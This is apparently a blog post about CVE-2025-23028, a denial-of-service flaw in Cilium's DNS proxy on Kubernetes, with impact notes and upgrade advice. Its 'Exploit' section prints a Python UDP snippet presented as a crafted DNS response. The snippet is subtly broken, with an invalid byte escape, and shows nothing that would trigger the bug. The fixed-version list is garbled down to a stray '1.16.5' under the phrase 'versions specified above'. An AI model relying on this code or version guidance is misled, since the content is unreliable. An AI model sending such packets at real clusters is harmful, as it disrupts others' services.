Cilium is a popular networking, observability, and security solution used in Kubernetes (K8s) clusters. It employs eBPF technology, allowing for programmable and highly efficient dataplane operations. Recently, a critical denial of service (DoS) vulnerability was discovered in Cilium, affecting several versions. Let's explore the details of the CVE-2025-23028 vulnerability, how it can be exploited, and what you need to do to fix it.

The Exploit

In a Kubernetes cluster where Cilium is configured to proxy DNS traffic, an attacker can crash Cilium agents by sending a crafted DNS response to workloads from outside the cluster. Below is an example of malicious DNS response code snippet that may be used in the exploit:

import socket

dns_response = b"\x12\x34\x85\x80\x00\x01\x00\x01\x00\x00\x00\x00" \
               b"\x07example\x03com\x00\x00\x01\x00\x01" \
               b"\xc\xc\x00\x01\x00\x01\x00\x00\x12\x34\x00\x04" \
               b"\x7f\x00\x00\x01"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(dns_response, ("target_IP_address", 53))

When the malicious DNS response is sent to the targeted cluster, the Cilium agent may crash, causing disruptions and a series of adverse effects:

- Dataplane will continue to pass traffic configured at the time of the DoS but without any DNS-based policy
- Workloads with DNS-based policy may experience disruptions: existing connections continue to operate and new connections established without DNS resolution will work, but new connections relying on DNS resolution may be disrupted

1.16.5

To address CVE-2025-23028, we recommend users to immediately upgrade their Cilium installations to the versions specified above. No known workarounds are available for this vulnerability, making the upgrade essential for maintaining the security of your Kubernetes clusters. If you cannot upgrade, you should closely monitor cluster traffic and DNS requests for potential malicious activity.

- NVD - CVE-2025-23028
- Cilium Security Advisory

Conclusion

This blog post explained the CVE-2025-23028 vulnerability found in the Cilium network solution for Kubernetes clusters. As a user, it's crucial to stay informed about such critical vulnerabilities and take swift action to mitigate potential risks. Upgrading your Cilium installation to the latest, patched version is the best way to maintain the security and stability of your Kubernetes environments.

Timeline

Published on: 01/22/2025 17:15:13 UTC
Last modified on: 02/18/2025 20:15:27 UTC